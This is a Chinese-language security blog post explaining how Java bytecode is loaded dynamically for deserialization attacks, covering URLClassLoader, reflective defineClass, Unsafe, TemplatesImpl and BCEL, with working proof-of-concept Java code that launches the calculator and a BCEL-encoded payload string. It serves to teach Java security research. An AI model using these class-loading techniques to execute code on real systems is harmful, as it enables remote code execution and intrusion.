freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Java反序列化之字节码二三事
2022-07-23 12:45:58
所属地 浙江省

博客地址 https://drun1baby.github.io/

Java反序列化之字节码二三事

0x01 字节码的概念

什么是字节码?

严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在 .class 文件中。

我个人很喜欢把它比作 Dockerfile 里面,执行命令的一些代码,例如entrypoint这种。

而字节码的诞生是为了让 JVM 的流通性更强,这是什么意思呢?看图便知。

image

下面我们介绍多种能够用于反序列化攻击的,加载字节码的类加载器。Java 动态字节码的一些用法。

0x02 动态加载字节码

在说动态加载字节码之前,先明确一下何为字节码。

1. 利用 URLClassLoader 加载远程 class 文件

URLClassLoader实际上是我们平时默认使用的AppClassLoader的父类,所以,我们解释URLClassLoader的工作过程实际上就是在解释默认的Java 类加载器的工作流程。

正常情况下,Java会根据配置项sun.boot.class.pathjava.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件

②:URL以斜杠 / 结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件

③:URL以斜杠 / 结尾,且协议名不是file,则使用最基础的Loader来寻找类。

我们一个个看

file 协议

我们在目录下新建一个 Calc.java 的文件。

package src;

import java.io.IOException;

// URLClassLoader 的 file 协议
public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
 } catch (IOException e){
            e.printStackTrace();
 }
    }
}

接着,点小锤子编译一下,我们会在 out 的 src 文件夹下发现编译过的 .class 文件。接着,我们进行一下复制的操作,将其复制到 E 盘。

image

接着,我们编写 URLClassLoader 的启动类

package src.DynamicClassLoader.URLClassLoader;

import java.net.URL;
import java.net.URLClassLoader;

// URLClassLoader 的 file 协议
public class FileRce {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlClassLoader = new URLClassLoader
                (new URL[]{new URL("file:///E:\\")});
 Class calc = urlClassLoader.loadClass("src.DynamicClassLoader.URLClassLoader.Calc");
 calc.newInstance();
 }
}

成功弹出了计算器

image

HTTP 协议

Calc.class文件目录下执行python3 -m http.server 9999,起一个 http 服务。我这里是 E 盘根目录,就在 E 盘起。

接着,我们编写恶意利用类

package src.DynamicClassLoader.URLClassLoader;

import java.net.URL;
import java.net.URLClassLoader;

// URLClassLoader 的 HTTP 协议
public class HTTPRce {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999")});
 Class calc = urlClassLoader.loadClass("src.DynamicClassLoader.URLClassLoader.Calc");
 calc.newInstance();
 }
}

image

file+jar 协议

先将我们之前的 class 文件打包一下,打包为 jar 文件。

去到源 .class 文件下,别去复制的地方,运行命令

jar -cvf Calc.jar Clac.class

接着,我们修改启动器,调用恶意类

package src.DynamicClassLoader.URLClassLoader;

import java.net.URL;
import java.net.URLClassLoader;

// URLClassLoader 的 file + jarpublic class JarRce {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:\\Calc.jar!/")});
 Class calc = urlClassLoader.loadClass("src.DynamicClassLoader.URLClassLoader.Calc");
 calc.newInstance();

 }
}

image

HTTP + jar 协议

package src.DynamicClassLoader.URLClassLoader;

import java.net.URL;
import java.net.URLClassLoader;

// URLClassLoader 的 HTTP + jarpublic class HTTPJarRce {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://127.0.0.1:9999/Calc.jar!/")});
 Class calc = urlClassLoader.loadClass("src.DynamicClassLoader.URLClassLoader.Calc");
 calc.newInstance();
 }
}
  • 成功弹出计算器

最灵活的肯定是 http 协议的加载

2. 利用 ClassLoader#defineClass 直接加载字节码

不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用。

image

从前面的分析可知:

  • loadClass()的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法;

  • findClass()根据URL指定的方式来加载类的字节码,其中会调用defineClass()

  • defineClass的作用是处理前面传入的字节码,将其处理成真正的 Java 类
    所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java

默认的ClassLoader#defineClass是一个 native 方法,逻辑在 JVM 的C语言代码中。

我们跟进 ClassLoader 当中,去看一看DefineClass是怎么被调用的。
image

解释一下defineClass

name为类名,b为字节码数组,off为偏移量,len为字节码数组的长度。

因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问。因此可以反射调用defineClass()方法进行字节码的加载,然后实例化之后即可弹 shell

我们编写如下代码

package src.DynamicClassLoader.DefineClass;

import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

// 利用 ClassLoader#defineClass 直接加载字节码
public class DefineClassRce {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
 Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
 method.setAccessible(true);
 byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class")); // 字节码的数组
 Class c = (Class) method.invoke(classLoader, "src.Calc", code, 0, code.length);
 c.newInstance();
 }
}
  • 成功弹出计算器,如果报错的话,看一看 invoke 方法调用时的 "Calc" 位置是否正确。

使用ClassLoader#defineClass直接加载字节码有个优点就是不需要出网也可以加载字节码,但是它也是有缺点的,就是需要设置m.setAccessible(true);,这在平常的反射中是无法调用的。

在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链TemplatesImpl的基石。

3. Unsafe 加载字节码

  • Unsafe中也存在defineClass()方法,本质上也是defineClass加载字节码的方式。

跟进去看一看UnsafedefineClass()方法

image

这里的Unsafe方法,是采用单例模式进行设计的,所以虽然是 public 方法,但无法直接调用,因为我们用反射来调用它。

package src.DynamicClassLoader.UnsafeClassLoader;

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class UnsafeClassLoaderRce {
    public static void main(String[] args) throws Exception{
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
 Class<Unsafe> unsafeClass = Unsafe.class;
 Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
 unsafeField.setAccessible(true);
 Unsafe classUnsafe = (Unsafe) unsafeField.get(null);
 Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class,
 int.class, int.class, ClassLoader.class, ProtectionDomain.class);
 byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class"));
 Class calc = (Class) defineClassMethod.invoke(classUnsafe, "src.Calc", code, 0, code.length, classLoader, null);
 calc.newInstance();
 }
}

4. TemplatesImpl 加载字节码

  • 我们先跟进 TemplatesImpl 这个包中看 TemplatesImpl 的结构图

image

可以看到在TemplatesImpl类中还有一个内部类TransletClassLoader,这个类是继承ClassLoader,并且重写了defineClass方法。

image

  • 简单来说,这里的defineClass由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。

我们从TransletClassLoader#defineClass()向前追溯一下调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()

追到最前面两个方法TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer(),这两者的作用域是public,可以被外部调用。

我们尝试用TemplatesImpl#newTransformer()构造一个简单的 POC

首先先构造字节码,注意,这里的字节码必须继承AbstractTranslet,因为继承了这一抽象类,所以必须要重写一下里面的方法。

package src.DynamicClassLoader.TemplatesImplClassLoader;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

// TemplatesImpl 的字节码构造
public class TemplatesBytes extends AbstractTranslet {
    public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException{}
    public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
    public TemplatesBytes() throws IOException{
        super();
 Runtime.getRuntime().exec("Calc");
 }
}

字节码这里的编写比较容易,我就一笔带过了,接下来我们重点关注 POC 是如何编写出来的。

因为是一整条链子,参考最开始我们讲的 URLDNS 链,我们需要设置其一些属性值,从而让我们的链子传递下去。我这里先把 POC 挂出来,结合着讲。

package src.DynamicClassLoader.TemplatesImplClassLoader;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

// 主程序
public class TemplatesRce {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
 TemplatesImpl templates = new TemplatesImpl();
 setFieldValue(templates, "_name", "Calc");
 setFieldValue(templates, "_bytecodes", new byte[][] {code});
 setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
 templates.newTransformer();
 }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj, value);
 }
}

我们定义了一个设置私有属性的方法,命名为setFieldValue,根据我们的链子,一个个看。

TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

  • 主要是三个私有类的属性

setFieldValue(templates, "_name", "Calc");

image

显然,_name不能为 null,我们才能进入链子的下一部分。
链子的下一部分为defineTransletClasses,我们跟进去。

image

_tfactory需要是一个TransformerFactoryImpl对象,因为TemplatesImpl#defineTransletClasses()方法里有调用到_tfactory.getExternalExtensionsMap(),如果是 null 会出错。

弹计算器成功
image

5. 利用 BCEL ClassLoader 加载字节码

  • 什么是 BCEL?

BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。

我们可以通过 BCEL 提供的两个类RepositoryUtility来利用:Repository用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码;Utility用于将原生的字节码转换成BCEL格式的字节码:

我们还是用之前写过的Calc.java这个类。

package src.DynamicClassLoader.URLClassLoader;

import java.io.IOException;

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
 } catch (IOException e){
            e.printStackTrace();
 }
    }
}

这样子的代码是可以成功弹计算器了,但是我们发现有一堆乱码,处理一下。

image

这一堆特殊的代码,BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。我们修改一下 POC

  • 注意这里的 ClassLoader 包不要导错了。

package src.DynamicClassLoader.BCELClassLoader;

import com.sun.org.apache.bcel.internal.util.ClassLoader;

// 修改过滤乱码
public class BCELSuccessRce {
    public static void main(String[] args) throws Exception{
        new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$A$8dQMO$db$40$Q$7d$9b8$b1c$i$C$81$f0$d1$PhK$81$QU$f5$a57$Q$97$ARU$D$V$Bz$de$y$ab$b0$d4$b1$p$7b$83$e0$X$f5$cc$85$o$O$fd$B$fc$u$c4$ecBi$a4$f6PK$9e$f1$7b3$f3$e6$ad$f7$ee$fe$f6$X$80OX$f1$e1a$d6$c7$i$e6$3d$bc0$f9$a5$8bW$3eJx$edb$c1$c5$oCyC$rJo2$U$9bk$c7$MN$3b$3d$91$M$b5H$rro$d8$ef$ca$ec$90wcb$eaQ$wx$7c$cc3e$f0$T$e9$e8S$953$7c$88$f2L$84$5b$97$J$ef$x$d1$8ey$9eG$v$3f$91Yxt$Q$8d$c26$8f$c5$3a$83$b7$n$e2$a7$a5$8cD$g$d1$Z$3f$e7$a1J$c3$cf$fb$db$XB$O$b4J$Tj$abv4$X$dfw$f9$c0$$$p$df$M$7e$t$jfB$ee$u$b3$bcb$e4$3e$9a$d9$A$V$f8$$$de$Ex$8bw$e4$8a$8c$8a$AKx$cf0$f5$P$ed$A$cb$f0$ZZ$ffo$9aa$c2$ea$c4$3c$e9$85$fb$dd3$v4$c3$e4$l$ea$60$98h$d5$tO$7eO$eag$d0h$aeE$7f$f5$d0$c1$iy$nIr$b59R$ed$e8L$r$bd$f5$d1$81$afY$wd$9e$d3$40m$40Em$7f$c7a$c6$85$a4c$bat$b1$e6$v$80$99$c3S$i$p$URf$94K$ad$9f$60W$b6$iP$y$5b$b2$8c$w$c5$e0$b1$B$e3$a8Q$f60$f1$3c$cc$ad$YP$bfA$a1$5e$bc$86$f3$ed$H$bc$_$adk$94$af$y_$a1$d9$S$8aVq$86$be$Mc$b8$80$U$aa$a40I$f1$f7$86$w$i$c2uBS$f4$ba$uD$$$a6$j$w4$ac$a9$99$H$X$f0$df$84$a2$C$A$A").newInstance();
 }
}

那么为什么要在前面加上$$BCEL$$呢?这里引用一下p神的解释

BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。
ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行 decode

0x03 关于字节码的小结

首先我们要知道字节码与安全有什么关系,不是照着敲几行代码,看到弹出计算器就是可以的了,我们需要去分析原因,不然和安全研究没有半毛钱关系。

我们要最终达到的目的其实是加载 class 文件,也就是字节码文件。

所以我们所做的一系列工作都是为了能够调用这些 class,只有完成了这一步,才能继续我们的链子。

# web安全 # java反序列化 # Java代码审计 # 字节码 # JAVA安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录